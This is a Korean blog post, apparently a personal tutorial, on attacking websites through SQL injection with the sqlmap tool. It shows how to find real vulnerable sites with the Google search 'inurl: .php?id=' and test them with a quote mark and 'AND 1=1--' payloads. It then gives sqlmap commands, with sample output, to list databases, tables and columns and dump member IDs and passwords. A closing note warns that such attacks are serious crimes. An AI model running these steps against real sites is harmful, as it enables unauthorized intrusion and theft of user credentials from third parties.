SQL Injection 공격은 해킹 수단 중에 가장 간단하면서도 


정말 심각하게 치명적인 공격중에 하나입니다.


잘 알려진 공격 수단임에도 아직 허술한 사이트가 많은걸로 알려져있습니다.


얼마전에 여기어때라는 업체가 Sql 주입 공격에 당했다고도 알려져있고 인터넷커뮤니티 뽐뿌 또한 이 공격에 무너진걸로 알려져있습니다.


간단하게 설명하면 웹사이트, 어플리케이션의 정보가 저장되는 database를 직접적으로 공격하는 방법입니다.


DB서버로 주로 많이 쓰는 것이 오라클의 MySQL이나 MS의 MSSQL이 있습니다.


일단은 SQL injection에 대해 기본적인 내용들은 인터넷에 많으니 찾아보시고 


저는 직접적으로 python으로 코드를 짜거나 아니면 웹에 직접 코드를 주입하는 방법이 아닌 


웹 상에서 sql injection 공격에 취약한 사이트들을 대상으로 모의 해킹을 해보는 방법을 시도해보겠습니다.


그 해킹툴 중에  SQLMAP 이라는 게 있는데 따로 일일이 sql 주입을 하지 않아도 자동적으로 하면서 database의 모든 정보를 다 알아내는 프로그램이다.


우선 설치는 http://sqlmap.org 에서 설치하면 됨


그리고 제일 먼저 할 것은 SQL injection에 취약한 웹사이트를 알아내는 것이다.


구글 해킹이라는 방법이 있는데


구글을 해킹하는건아니고...




구글에서 inurl: .php?id=


를 검색한다.


그러면 


웹주소에 .php?id= 가 포함된 모든 웹사이트를 검색한다.


그 웹사이트에 들어가서


예를 들어 


website.co.kr/index.php?id=3


이라는 웹사이트에 접속했다고 하자


거기에서 웹주소 맨 끝에 ' 를 추가하자


그 때 웹사이트에 MySql 오류 ~~ 라는 식으로 뜨면 그 웹사이트는 SQL injection에 취약한 웹사이트이다.



진짜 저렇게 MySQL오류 라고 웹에 직접 뜨는 웹사이트는 그렇게 많지는 않다(물론 많긴하다)


혹은 ' 를 추가했을 때 뭐 알파벳이나 숫자가 아닌 문자를 막아놨다던가 별 반응이 없을땐


website.com/index.php?id=3 AND 1=2-- 로 접속을 해봤을 때


원래 웹사이트가 뜨지 않고


website.com/index.php?id=3 AND 1=1-- 로 접속을 했을 땐

정상적으로 웹사이트가 뜬다면


SQL injection에 취약한 웹사이트다. 


AND 1=1-- 가 무슨 의미인지는 다른 블로그나 구글검색으로 알아보도록 하자!


충분히 많은 정보들이 있다. 


여튼


이렇게 알아낸 취약한 웹사이트를 하나 정한 뒤 


맥의 터미널이나 윈도우의 cmd를 켠 뒤


sqlmap -u website.co.kr/index.php?id=3 --dbs


명령을 실행하면

뭐 많이 뜨는데 


다 y누르고 좀 기다리면


database명이 모두 검색이 된다.


available databases [5]:

[*] first_db

[*] second_db

[*] third_db

[*] fourth_db

[*] fifth_db



예를들어 이렇게 결과가 떴다고하자.


실제 웹사이트를 보여줄 수는 없을 것 같아서 이렇게 대체한다.


이 화면에서 

이렇게 명령어를 치면 각 데이터베이스의 table이 모두 검색이 된다



$ sqlmap -u http://website.com/index.php?id=2 -D first_db --tables


sqlmap -u [취약한웹주소] -D [Database명] --tables


[08:38:33] [INFO] fetching tables for database: 'first_db'

Database: first_db

[4 tables]

+----------+

| member  |

| good    |

| second  |

| third   |

+----------+


결과는 이것과 비슷하게 나올 것이다.


각 table명이 검색이 되고 여기서 각 table의 column 명을 알아내야 한다.


$ sqlmap -u http://website.com/index.php?id=2 -D first_db -T member --columns


sqlmap -u [취약한웹주소] -D [Database명] -T [알아내고자하는table명] --columns 를 명령어로 치면


[08:38:51] [INFO] fetching columns for table 'admin' in database 'first_db'

Database: first_db

Table: member

[2 columns]

+-----------+--------------+

| Column    | Type         |

+-----------+--------------+

| member_id | varchar(255) |

| password  | varchar(255) |

+-----------+-------------+



결과가 이것과 비슷하게 나온다.


현재까지 요약을 하면 


website.com이라는 사이트의 


first_db 라는 database에서


member Table의 Column 2개를 알아냈다.


이제 해당 database table column의 값이 뭐가 들어있는지를 알아내자 


sqlmap -u http://website.com/index.php?id=2 -D first_db -T member -C member_id,password --dump



sqlmap -u [사이트주소] -D [ DB명] -T [Table명] -C [Column명,Column명] --dump


이렇게 명령어를 쓰면 


놀랍게도 내부 정보를 다 알아 낼 수가 있다.


상식을 가지고 만든 사이트라면 이런 허접한 방법에 당하지 않고


그나마 조금이라도 상식이 있는 사이트라면 


password같은 정보는 보통 암호화를 해서 저장하기 때문에 


저렇게 검색을 해도 원래 비밀번호를 다 캐낼 수는 없다 .

암호화를 최대한 풀긴 하는데 엄청나게 오래 걸린다. 


여튼 sqlmap 을 이용하면 sql injection 공격을 매우 쉽게 할 수 있다.


조금 흥미를 가지고 알아보면 알겠지만


sql injection은 사실상 심각한 노가다의 연속이기 때문에 


지금까지 한 것들을 일일이 다 알아내려면 sqlmap을 사용하지 않을때 비하면 엄청나게 오래 걸린다.








끝!



참고1. 


조그마한 나의 식견을 보태자면


이 글에서 서술하는 SQL injection 정도의 공격에 털리는 웹사이트는 


그냥 생각 없이 만든 웹사이트로 봐도 무방하다. 혹시나 한국 사이트에 이렇게 허술하게 운영이 되는 사이트가 있다면


해당 사이트에 꼭 알려주시길!


물론 이 방법대로 해보면 알겠지만


이런 어이없는 공격에도 털리는 사이트가


매애애애우많다


참고2. sql injection 공격 같은 경우에는 


그 공격의 위험성 만큼 매우 큰 범죄로 잘못걸리면 죄가 굉장히 크다. 


다양한 자료를 검색하면서 sql injection 에 대해 더 많이 알더라도


 장난으로라도 웹사이트에 직접적으로 해가 될 행동은 하지마시길.


'프로그래밍 > 해킹' 카테고리의 다른 글

해킹툴 bettercap 사용(1)  (0) 2017.04.14
해킹 툴 bettercap 설치  (2) 2016.11.29

+ Recent posts